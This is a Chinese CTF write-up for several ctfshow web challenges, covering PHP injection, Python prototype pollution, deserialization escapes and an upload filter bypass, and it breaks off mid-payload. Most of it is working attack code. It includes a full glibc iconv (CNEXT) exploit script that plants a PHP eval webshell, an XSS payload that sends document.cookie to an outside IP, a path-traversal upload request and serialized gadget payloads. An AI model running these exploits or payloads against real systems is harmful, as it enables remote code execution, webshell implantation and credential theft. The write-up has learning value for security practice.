唯一感悟 webpwn要老命

CodeInject

1
2
3
4
5
6
7
8
<?php

#Author: h1xa

error_reporting(0);
show_source(__FILE__);

eval("var_dump((Object)$_POST[1]);");

闭合前面 插入命令执行

1
1=1);system('ls');?>
1
eval("var_dump(1=1);system('ls');?>");

image-20241106193344120

tpdoor

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php

namespace app\controller;

use app\BaseController;
use think\facade\Db;

class Index extends BaseController
{
protected $middleware = ['think\middleware\AllowCrossDomain','think\middleware\CheckRequestCache','think\middleware\LoadLangPack','think\middleware\SessionInit'];
public function index($isCache = false , $cacheTime = 3600)
{

if($isCache == true){
$config = require __DIR__.'/../../config/route.php';
$config['request_cache_key'] = $isCache;
$config['request_cache_expire'] = intval($cacheTime);
$config['request_cache_except'] = [];
file_put_contents(__DIR__.'/../../config/route.php', '<?php return '. var_export($config, true). ';');
return 'cache is enabled';
}else{
return 'Welcome ,cache is disabled';
}
}



}

tp8找不到对应的洞

image-20241106193658612审源码

top-think/think: ThinkPHP Framework ——十年匠心的高性能PHP框架

requrie/../../config/route.php,并且request_cache_key可控

image-20241106193755396

image-20241106194747735

发现去route.php修改request_cache_key的值能进入 elseif,并成功给 $key$fun赋值,之后就走到 $key = $fun($key);执行函数

所以直接给isCache改值

image-20241106200128608

easy_polluted

python原型链污染

app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from flask import Flask, session, redirect, url_for,request,render_template
import os
import hashlib
import json
import re
def generate_random_md5():
random_string = os.urandom(16)
md5_hash = hashlib.md5(random_string)

return md5_hash.hexdigest()
def filter(user_input):
blacklisted_patterns = ['init', 'global', 'env', 'app', '_', 'string']
for pattern in blacklisted_patterns:
if re.search(pattern, user_input, re.IGNORECASE):
return True
return False
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)


app = Flask(__name__)
app.secret_key = generate_random_md5()

class evil():
def __init__(self):
pass

@app.route('/',methods=['POST'])
def index():
username = request.form.get('username')
password = request.form.get('password')
session["username"] = username
session["password"] = password
Evil = evil()
if request.data:
if filter(str(request.data)):
return "NO POLLUTED!!!YOU NEED TO GO HOME TO SLEEP~"
else:
merge(json.loads(request.data), Evil)
return "MYBE YOU SHOULD GO /ADMIN TO SEE WHAT HAPPENED"
return render_template("index.html")

@app.route('/admin',methods=['POST', 'GET'])
def templates():
username = session.get("username", None)
password = session.get("password", None)
if username and password:
if username == "adminer" and password == app.secret_key:
return render_template("flag.html", flag=open("/flag", "rt").read())
else:
return "Unauthorized"
else:
return f'Hello, This is the POLLUTED page.'

if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)

app.secret_key污染成一个我们想要的值,接着把 _static_folder的路径污染成服务器的根目录,就可以任意文件读取了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
{
"__init__": {
"__globals__": {
"app": {
"jinja_env": {
"variable_start_string": "[#",
"variable_end_string": "#]"
},
"config": {
"SECRET_KEY": "password"
}
}
}
}
}

json.loads 解析字符串,能识别 unicode,因此用unicode编码来绕过filter

1
2
3
4
5
6
7
8
9
10
11
12
13
{
"username": "adminer",
"password": "123",
"\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f": {
"\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f": {
"\u0061\u0070\u0070": {
"\u0073\u0065\u0063\u0072\u0065\u0074\u005f\u006b\u0065\u0079": "123",
"\u005f\u0073\u0074\u0061\u0074\u0069\u0063\u005f\u0066\u006f\u006c\u0064\u0065\u0072": "\u002f"
}
}
}
}

Ezzz_php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php 
highlight_file(__FILE__);
error_reporting(0);
function substrstr($data)
{
$start = mb_strpos($data, "[");
$end = mb_strpos($data, "]");
return mb_substr($data, $start + 1, $end - 1 - $start);
}
class read_file{
public $start;
public $filename="/etc/passwd";
public function __construct($start){
$this->start=$start;
}
public function __destruct(){
if($this->start == "gxngxngxn"){
echo 'What you are reading is:'.file_get_contents($this->filename);
}
}
}
if(isset($_GET['start'])){
$readfile = new read_file($_GET['start']);
$read=isset($_GET['read'])?$_GET['read']:"I_want_to_Read_flag";
if(preg_match("/\[|\]/i", $_GET['read'])){
die("NONONO!!!");
}
$ctf = substrstr($read."[".serialize($readfile)."]");
unserialize($ctf);
}else{
echo "Start_Funny_CTF!!!";
}

本地调试输出ctf试试

image-20241106203737373

1
2
3
4
5
6
7
当以 \xF0 开头的字节序列出现在 UTF-8 编码中时,通常表示一个四字节的 Unicode 字符。这是因为 UTF-8 编码规范定义了以 \xF0 开头的字节序列用于编码较大的 Unicode 字符。
不符合4位的规则的话,mb_substr和mb_strpos执行存在差异:
(1)mb_strpos遇到\xF0时,会把无效字节先前的字节视为一个字符,然后从无效字节重新开始解析
mb_strpos("\xf0\x9fAAA<BB", '<'); #返回4 \xf0\x9f视作是一个字节,从A开始变为无效字节 #A为\x41 上述字符串其认为是7个字节

(2)mb_substr遇到\xF0时,会把无效字节当做四字节Unicode字符的一部分,然后继续解析
mb_substr("\xf0\x9fAAA<BB", 0, 4); #"\xf0\x9fAAA<B" \xf0\x9fAA视作一个字符 上述字符串其认为是5个字节
1
2
3
每发送一个%f0abc,mb_strpos认为是4个字节,mb_substr认为是1个字节,相差3个字节
每发送一个%f0%9fab,mb_strpos认为是3个字节,mb_substr认为是1个字节,相差2个字节
每发送一个%f0%9f%9fa,mb_strpos认为是2个字节,mb_substr认为是1个字节,相差1个字节

构造exp

1
2
3
4
5
6
7
8
9
<?php

class read_file{
public $start = "gxngxngxn";
public $filename="php://filter/convert.base64-encode/resource=/etc/passwd";

}
$a = new read_file();
echo serialize($a);

得到

1
O:9:"read_file":2:{s:5:"start";s:9:"gxngxngxn";s:8:"filename";s:55:"php://filter/convert.base64-encode/resource=/etc/passwd";}

然后就可以利用上面的特性进行逃逸

加上read_file后

1
O:9:"read_file":2:{s:5:"start";s:126:"O:9:"read_file":2:{s:5:"start";s:9:"gxngxngxn";s:8:"filename";s:55:"php://filter/convert.base64-encode/resource=/etc/passwd";}";s:8:"filename";s:11:"/etc/passwd";}

image-20241107085241625

因此构造

1
?read=%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0%9f%9fa%f0%9f%9fa&start=O:9:"read_file":2:{s:5:"start";s:9:"gxngxngxna";s:8:"filename";s:55:"php://filter/convert.base64-encode/resource=/etc/passwd";}

或者可以

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class read_file{
public $start;
public $filename;
}

$a=new read_file();
$a->start='gxngxngxn';
$a->filename='/etc/hosts';

echo str_repeat('%9f',strlen(serialize($a))+1).serialize($a);
//%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9fO:9:"read_file":2:{s:5:"start";s:9:"gxngxngxn";s:8:"filename";s:10:"/etc/hosts";}

image-20241107085507323

最后得到

image-20241107082014944

image-20241107082034151

第一步成功,然后可以利用 file_get_contents($this->filename); 来rce

【翻译】从设置字符集到RCE:利用 GLIBC 攻击 PHP 引擎(篇一) - 先知社区

先读出php所使用的 libc 和所使用堆的基地址,然后通过缓冲区溢出的越界写入,实现地址覆盖,调用 libc 里面的函数, 从而rce。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
import requests
import re
from ten import *
from pwn import *
from dataclasses import dataclass
from base64 import *
import zlib
from urllib.parse import quote

HEAP_SIZE = 2 * 1024 * 1024
BUG = "劄".encode("utf-8")

url = "https://651a1197-00cb-484c-a695-095789db6e15.challenge.ctf.show/"
command: str = "echo '<?php eval($_POST[1]);?>'>/var/www/html/1.php;"
sleep: int = 1
PAD: int = 20
pad: int = 20
info = {}
heap = 0

@dataclass
class Region:
"""A memory region."""

start: int
stop: int
permissions: str
path: str

@property
def size(self) -> int:
return self.stop - self.start

# 获取 /proc/self/maps
def get_maps():
data = '?read=%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0%9f%9fa%f0%9f%9fa&start=O:9:"read_file":2:{s:5:"start";s:9:"gxngxngxn";s:8:"filename";s:59:"php://filter/convert.base64-encode/resource=/proc/self/maps";}'

r = requests.get(url+data).text
# print(r)
data = re.search("What you are reading is:(.*)", r).group(1)
# print(txt)
return b64decode(data)
# 获取 libc
def download_file(get_file , local_path):
filename = "php://filter/convert.base64-encode/resource="+get_file
data = '?read=%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0%9f%9fa%f0%9f%9fa&start=O:9:"read_file":2:{s:5:"start";s:9:"gxngxngxn";s:8:"filename";s:[num]:"[filename]";}'
data = data.replace('[num]',str(len(filename)))
data = data.replace('[filename]',filename)
r = requests.get(url + data).text
data = re.search("What you are reading is:(.*)", r).group(1)
data = b64decode(data)
open(local_path,'wb').write(data)
# Path(local_path).write(data)


def get_regions():
maps = get_maps()
maps = maps.decode()
PATTERN = re.compile(
r"^([a-f0-9]+)-([a-f0-9]+)\b" r".*" r"\s([-rwx]{3}[ps])\s" r"(.*)"
)
regions = []
for region in table.split(maps, strip=True):
if match := PATTERN.match(region):
start = int(match.group(1), 16)
stop = int(match.group(2), 16)
permissions = match.group(3)
path = match.group(4)
if "/" in path or "[" in path:
path = path.rsplit(" ", 1)[-1]
else:
path = ""
current = Region(start, stop, permissions, path)
regions.append(current)
else:
print(maps)
# failure("Unable to parse memory mappings")

# self.log.info(f"Got {len(regions)} memory regions")

return regions

# 通过 /proc/self/maps 得到 堆地址
def find_main_heap(regions: list[Region]) -> Region:
# Any anonymous RW region with a size superior to the base heap size is a
# candidate. The heap is at the bottom of the region.
heaps = [
region.stop - HEAP_SIZE + 0x40
for region in reversed(regions)
if region.permissions == "rw-p"
and region.size >= HEAP_SIZE
and region.stop & (HEAP_SIZE - 1) == 0
and region.path == ""
]

if not heaps:
failure("Unable to find PHP's main heap in memory")

first = heaps[0]

if len(heaps) > 1:
heaps = ", ".join(map(hex, heaps))
msg_info(f"Potential heaps: [i]{heaps}[/] (using first)")
else:
msg_info(f"Using [i]{hex(first)}[/] as heap")

return first


def _get_region(regions: list[Region], *names: str) -> Region:
"""Returns the first region whose name matches one of the given names."""
for region in regions:
if any(name in region.path for name in names):
break
else:
failure("Unable to locate region")

return region

# 下载 libc 文件
def get_symbols_and_addresses():
regions = get_regions()
LIBC_FILE = "/dev/shm/cnext-libc"

# PHP's heap

info["heap"] = heap or find_main_heap(regions)

# Libc

libc = _get_region(regions, "libc-", "libc.so")

download_file(libc.path, LIBC_FILE)

info["libc"] = ELF(LIBC_FILE, checksec=False)
info["libc"].address = libc.start

def compress(data) -> bytes:
"""Returns data suitable for `zlib.inflate`.
"""
# Remove 2-byte header and 4-byte checksum
return zlib.compress(data, 9)[2:-4]


def b64(data: bytes, misalign=True) -> bytes:
payload = b64encode(data)
if not misalign and payload.endswith("="):
raise ValueError(f"Misaligned: {data}")
return payload

def compressed_bucket(data: bytes) -> bytes:
"""Returns a chunk of size 0x8000 that, when dechunked, returns the data."""
return chunked_chunk(data, 0x8000)


def qpe(data: bytes) -> bytes:
"""Emulates quoted-printable-encode.
"""
return "".join(f"={x:02x}" for x in data).upper().encode()


def ptr_bucket(*ptrs, size=None) -> bytes:
"""Creates a 0x8000 chunk that reveals pointers after every step has been ran."""
if size is not None:
assert len(ptrs) * 8 == size
bucket = b"".join(map(p64, ptrs))
bucket = qpe(bucket)
bucket = chunked_chunk(bucket)
bucket = chunked_chunk(bucket)
bucket = chunked_chunk(bucket)
bucket = compressed_bucket(bucket)

return bucket


def chunked_chunk(data: bytes, size: int = None) -> bytes:
"""Constructs a chunked representation of the given chunk. If size is given, the
chunked representation has size `size`.
For instance, `ABCD` with size 10 becomes: `0004\nABCD\n`.
"""
# The caller does not care about the size: let's just add 8, which is more than
# enough
if size is None:
size = len(data) + 8
keep = len(data) + len(b"\n\n")
size = f"{len(data):x}".rjust(size - keep, "0")
return size.encode() + b"\n" + data + b"\n"

# 攻击 payload 的生成
def build_exploit_path() -> str:
LIBC = info["libc"]
ADDR_EMALLOC = LIBC.symbols["__libc_malloc"]
ADDR_EFREE = LIBC.symbols["__libc_system"]
ADDR_EREALLOC = LIBC.symbols["__libc_realloc"]

ADDR_HEAP = info["heap"]
ADDR_FREE_SLOT = ADDR_HEAP + 0x20
ADDR_CUSTOM_HEAP = ADDR_HEAP + 0x0168

ADDR_FAKE_BIN = ADDR_FREE_SLOT - 0x10

CS = 0x100

# Pad needs to stay at size 0x100 at every step
pad_size = CS - 0x18
pad = b"\x00" * pad_size
pad = chunked_chunk(pad, len(pad) + 6)
pad = chunked_chunk(pad, len(pad) + 6)
pad = chunked_chunk(pad, len(pad) + 6)
pad = compressed_bucket(pad)

step1_size = 1
step1 = b"\x00" * step1_size
step1 = chunked_chunk(step1)
step1 = chunked_chunk(step1)
step1 = chunked_chunk(step1, CS)
step1 = compressed_bucket(step1)

# Since these chunks contain non-UTF-8 chars, we cannot let it get converted to
# ISO-2022-CN-EXT. We add a `0\n` that makes the 4th and last dechunk "crash"

step2_size = 0x48
step2 = b"\x00" * (step2_size + 8)
step2 = chunked_chunk(step2, CS)
step2 = chunked_chunk(step2)
step2 = compressed_bucket(step2)

step2_write_ptr = b"0\n".ljust(step2_size, b"\x00") + p64(ADDR_FAKE_BIN)
step2_write_ptr = chunked_chunk(step2_write_ptr, CS)
step2_write_ptr = chunked_chunk(step2_write_ptr)
step2_write_ptr = compressed_bucket(step2_write_ptr)

step3_size = CS

step3 = b"\x00" * step3_size
assert len(step3) == CS
step3 = chunked_chunk(step3)
step3 = chunked_chunk(step3)
step3 = chunked_chunk(step3)
step3 = compressed_bucket(step3)

step3_overflow = b"\x00" * (step3_size - len(BUG)) + BUG
assert len(step3_overflow) == CS
step3_overflow = chunked_chunk(step3_overflow)
step3_overflow = chunked_chunk(step3_overflow)
step3_overflow = chunked_chunk(step3_overflow)
step3_overflow = compressed_bucket(step3_overflow)

step4_size = CS
step4 = b"=00" + b"\x00" * (step4_size - 1)
step4 = chunked_chunk(step4)
step4 = chunked_chunk(step4)
step4 = chunked_chunk(step4)
step4 = compressed_bucket(step4)

# This chunk will eventually overwrite mm_heap->free_slot
# it is actually allocated 0x10 bytes BEFORE it, thus the two filler values
step4_pwn = ptr_bucket(
0x200000,
0,
# free_slot
0,
0,
ADDR_CUSTOM_HEAP, # 0x18
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
ADDR_HEAP, # 0x140
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
size=CS,
)

step4_custom_heap = ptr_bucket(
ADDR_EMALLOC, ADDR_EFREE, ADDR_EREALLOC, size=0x18
)

step4_use_custom_heap_size = 0x140

COMMAND = command
COMMAND = f"kill -9 $PPID; {COMMAND}"
if sleep:
COMMAND = f"sleep {sleep}; {COMMAND}"
COMMAND = COMMAND.encode() + b"\x00"

assert (
len(COMMAND) <= step4_use_custom_heap_size
), f"Command too big ({len(COMMAND)}), it must be strictly inferior to {hex(step4_use_custom_heap_size)}"
COMMAND = COMMAND.ljust(step4_use_custom_heap_size, b"\x00")

step4_use_custom_heap = COMMAND
step4_use_custom_heap = qpe(step4_use_custom_heap)
step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
step4_use_custom_heap = compressed_bucket(step4_use_custom_heap)

pages = (
step4 * 3
+ step4_pwn
+ step4_custom_heap
+ step4_use_custom_heap
+ step3_overflow
+ pad * PAD
+ step1 * 3
+ step2_write_ptr
+ step2 * 2
)

resource = compress(compress(pages))
resource = b64(resource)
resource = f"data:text/plain;base64,{resource.decode()}"

filters = [
# Create buckets
"zlib.inflate",
"zlib.inflate",

# Step 0: Setup heap
"dechunk",
"convert.iconv.latin1.latin1",

# Step 1: Reverse FL order
"dechunk",
"convert.iconv.latin1.latin1",

# Step 2: Put fake pointer and make FL order back to normal
"dechunk",
"convert.iconv.latin1.latin1",

# Step 3: Trigger overflow
"dechunk",
"convert.iconv.UTF-8.ISO-2022-CN-EXT",

# Step 4: Allocate at arbitrary address and change zend_mm_heap
"convert.quoted-printable-decode",
"convert.iconv.latin1.latin1",
]
filters = "|".join(filters)
path = f"php://filter/read={filters}/resource={resource}"
# print(path)
return path

# 开始攻击。攻击返回404是成功的标志,因为 command 最前面把进程 kill 掉了
# COMMAND = f"kill -9 $PPID; {COMMAND}"
def exploit() -> None:
path = build_exploit_path()
start = time.time()

try:
data = '?read=%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0%9f%9fa%f0%9f%9fa%f0%9f%9fa&start=O:9:"read_file":2:{s:5:"start";s:9:"gxngxngxn";s:8:"filename";s:[num]:"[data]";}'

data = data.replace('[num]', str(len(path)))
data = data.replace('[data]', quote(path))
# print(data)
r = requests.get(url + data).text
# print("r: ",r)
data = re.search("What you are reading is:(.*)", r).group(1)
print('-----end-----')
# print("data; ",data)
data = b64decode(data)
print(data)
except:
print("Error")

msg_print()

if not sleep:
msg_print(" [b white on black] EXPLOIT [/][b white on green] SUCCESS [/] [i](probably)[/]")
elif start + sleep <= time.time():
msg_print(" [b white on black] EXPLOIT [/][b white on green] SUCCESS [/]")
else:
# Wrong heap, maybe? If the exploited suggested others, use them!
msg_print(" [b white on black] EXPLOIT [/][b white on red] FAILURE [/]")

msg_print()


get_symbols_and_addresses()
print(info)
exploit()

没复现出来。。。。

1
2
3
4
5
python3 -m venv myenv
source myenv/bin/activate
pip3 install pwntools
pip3 install https://github.com/cfreal/ten/archive/refs/heads/main.zip
pip install pwntools ten

NewerFileDetector

bot.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from selenium import webdriver
import time
import os

# bot nodejs puppter selenium
flag = os.getenv("flag") if os.getenv("flag") is not None else "flag{test}"

option = webdriver.ChromeOptions()
option.add_argument('--headless')
option.add_argument('--no-sandbox')
option.add_argument('--disable-logging')
option.add_argument('--disable-dev-shm-usage')

browser = webdriver.Chrome(options=option)
cookie = {'name': 'flag', 'value': flag, 'domain':'localhost','httpOnly': False}

def visit(link):
try:
browser.get("http://localhost:5050/check") #检测是否为vip
browser.add_cookie(cookie)
page_source = browser.page_source
print(page_source)
if "VIP" not in page_source:
return "NONONO" # pass
print(cookie)
url = "http://localhost:5050/share?file=" + link
if ".." in url:
return "Get out!"
browser.get(url)
time.sleep(1)
browser.quit()
print("success")
return "OK"
except Exception as e:
print(e)
return "you broke the server,get out!"

app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
from flask import Flask,request,session
import magika
import uuid
import json
import os
from bot import visit as bot_visit
import ast

app = Flask(__name__)
app.secret_key = str(uuid.uuid4())
app.static_folder = 'public/'
vip_user = "vip"
vip_pwd = str(uuid.uuid4())
curr_dir = os.path.dirname(os.path.abspath(__file__))
CHECK_FOLDER = os.path.join(curr_dir,"check")
USER_FOLDER = os.path.join(curr_dir,"public/user")
mg = magika.Magika() #深度学习

def isSecure(file_type):
D_extns = ["json",'py','sh', "html"]
if file_type in D_extns:
return False
return True

@app.route("/login",methods=['GET','POST'])
def login():
if(session.get("isSVIP")):
return "logined"
if request.method == "GET":
return "input your username and password plz"
elif request.method == "POST":
try:
user = request.form.get("username").strip()
pwd = request.form.get("password").strip()
if user == vip_user and pwd == vip_pwd:
session["isSVIP"] = "True"
else:
session["isSVIP"] = "False"
# 写入硬盘中,方便bot验证。
file = os.path.join(CHECK_FOLDER,"vip.json")
with open(file,"w") as f:
json.dump({k: v for k, v in session.items()},f)
f.close()
return f"{user} login success"
except:
return "you broke the server,get out!"

@app.route("/upload",methods = ["POST"])
def upload():
try:
content = request.form.get("content").strip()
name = request.form.get("name").strip()
file_type = mg.identify_bytes(content.encode()).output.ct_label #判断文件内容
if isSecure(file_type):
file = os.path.join(USER_FOLDER,name)
with open(file,"w") as f:
f.write(content)
f.close()
return "ok,share your link to bot: /visit?link=user/"+ name
return "black!"
except:
return "you broke the server,fuck out!"

@app.route('/')
def index():
return app.send_static_file('index.html')

@app.route('/visit')
def visit():
link = request.args.get("link")
return bot_visit(link)

@app.route('/share')
def share():
file = request.args.get("file")
return app.send_static_file(file)

@app.route("/clear",methods=['GET'])
def clear():
session.clear()
return "session clear success"

@app.route("/check",methods=['GET'])
def check():
path = os.path.join(CHECK_FOLDER,"vip.json") #join
if os.path.exists(path):
content = open(path,"r").read()
try:
isSVIP = ast.literal_eval(json.loads(content)["isSVIP"])
except:
isSVIP = False
return "VIP" if isSVIP else "GUEST"
else:
return "GUEST"

if __name__ == "__main__":
app.run("0.0.0.0",5050)

/upload实现任意文件上传

image-20241107091351919

/check通过读取vip.json来判断是否isVIP

image-20241107091454266

flag在cookie里

image-20241107092051460

上传一个 vip.json来覆盖掉旧的vip.sjon,从而通过/check,然后可以上传一个1.html从而实现xss

审一下magika,跟进identify_bytes -> _get_result_from_bytes -> _get_result_or_features_from_bytes->_get_result_of_few_bytes -> _get_ct_label_of_few_bytes

可以发现在_get_result_or_features_from_bytes中进行了判断,在 _get_ct_label_of_few_bytes直接返回了文本内容

image-20241107092426365

接着回去跟进长度

image-20241107092538086

image-20241107092714955

​ 读取文件可知_min_file_size_for_dl 的值是 16,文本长度少于16就不会被检测

首先绕过vip验证

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /upload HTTP/1.1
Host: pwn.challenge.ctf.show:28265
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Type: application/x-www-form-urlencoded
Content-Length: 58

name=../../../../app/check/vip.json&content={"isSVIP":"1"}

image-20241107094308939

image-20241107094353640

image-20241107100208330

1
name=1.html&content=<script>fetch("http://45.207.197.131:4444/?flag="%2bdocument.cookie)</script>

然后访问对应的路径http://pwn.challenge.ctf.show:28269/visit?link=user/1.html即可反弹cookie

image-20241107101141365

SendMessage

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php

namespace app\controller;

use app\BaseController;
use think\facade\Db;
use ctfshow\common\Shm_cache;

class Index extends BaseController
{
public function index()
{
$cache = new Shm_cache();
if($cache->has(0)){
$data = $cache->get(0);
}

if($data){
return "OK";
}else{
return "Message not found";
}
}



}

common.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
<?php
// 应用公共文件
declare (strict_types = 1);
namespace ctfshow\common;

interface Cache {

public function set(int $key,String $data);

public function get(int $key);

public function clear();

public function has(int $key);

public function remove(int $key);

}

class Shm_cache implements Cache{
private $resource;
private $shm_key;
private $location = "/tmp/ctfshow";
private $project = "S";

public function __construct(){
$this->shm_key = ftok($this->location,$this->project);
$this->resource = shm_attach($this->shm_key);
}

public function set(int $key,string $data){
return shm_put_var($this->resource,$key,$data);
}

public function get(int $key){
return shm_get_var($this->resource,$key);
}

public function clear(){
return shm_remote($this->resource);
}

public function has(int $key){
return shm_has_var($this->resource,$key);
}

public function remove(int $key){
return shm_remove_var($this->resource,$key);
}

public function __destruct(){
shm_detach($this->resource);
}
}

php在处理共享内存跨进程通讯时,如果内存里面的内容可控,会直接触发反序列化操作

image-20241107184221811

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
import time
#Author: ctfshow/h1xa
#Description: read flag from /f*

address = "pwn.challenge.ctf.show"
port = 28299

data = b'\x50\x48\x50\x5F\x53\x4D\x00\x00\x28\x00\x00\x00\x00\x00\x00\x00\x18\x03\x00\x00\x00\x00\x00\x00\xF8\x23\x00\x00\x00\x00\x00\x00\x10\x27\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xCF\x02\x00\x00\x00\x00\x00\x00\xF0\x02\x00\x00\x00\x00\x00\x00\x4F\x3A\x32\x38\x3A\x22\x74\x68\x69\x6E\x6B\x5C\x72\x6F\x75\x74\x65\x5C\x52\x65\x73\x6F\x75\x72\x63\x65\x52\x65\x67\x69\x73\x74\x65\x72\x22\x3A\x31\x3A\x7B\x73\x3A\x38\x3A\x22\x72\x65\x73\x6F\x75\x72\x63\x65\x22\x3B\x4F\x3A\x31\x37\x3A\x22\x74\x68\x69\x6E\x6B\x5C\x6D\x6F\x64\x65\x6C\x5C\x50\x69\x76\x6F\x74\x22\x3A\x37\x3A\x7B\x73\x3A\x39\x3A\x22\x00\x2A\x00\x73\x75\x66\x66\x69\x78\x22\x3B\x73\x3A\x34\x3A\x22\x68\x31\x78\x61\x22\x3B\x73\x3A\x38\x3A\x22\x00\x2A\x00\x74\x61\x62\x6C\x65\x22\x3B\x4F\x3A\x31\x37\x3A\x22\x74\x68\x69\x6E\x6B\x5C\x6D\x6F\x64\x65\x6C\x5C\x50\x69\x76\x6F\x74\x22\x3A\x37\x3A\x7B\x73\x3A\x39\x3A\x22\x00\x2A\x00\x73\x75\x66\x66\x69\x78\x22\x3B\x73\x3A\x34\x3A\x22\x68\x31\x78\x61\x22\x3B\x73\x3A\x38\x3A\x22\x00\x2A\x00\x74\x61\x62\x6C\x65\x22\x3B\x4E\x3B\x73\x3A\x39\x3A\x22\x00\x2A\x00\x61\x70\x70\x65\x6E\x64\x22\x3B\x61\x3A\x31\x3A\x7B\x73\x3A\x34\x3A\x22\x41\x41\x41\x41\x22\x3B\x73\x3A\x34\x3A\x22\x42\x42\x42\x42\x22\x3B\x7D\x73\x3A\x37\x3A\x22\x00\x2A\x00\x6A\x73\x6F\x6E\x22\x3B\x61\x3A\x31\x3A\x7B\x69\x3A\x30\x3B\x73\x3A\x34\x3A\x22\x42\x42\x42\x42\x22\x3B\x7D\x73\x3A\x31\x31\x3A\x22\x00\x2A\x00\x77\x69\x74\x68\x41\x74\x74\x72\x22\x3B\x61\x3A\x31\x3A\x7B\x73\x3A\x34\x3A\x22\x42\x42\x42\x42\x22\x3B\x61\x3A\x31\x3A\x7B\x73\x3A\x32\x3A\x22\x41\x41\x22\x3B\x73\x3A\x36\x3A\x22\x73\x79\x73\x74\x65\x6D\x22\x3B\x7D\x7D\x73\x3A\x37\x3A\x22\x00\x2A\x00\x64\x61\x74\x61\x22\x3B\x61\x3A\x31\x3A\x7B\x73\x3A\x34\x3A\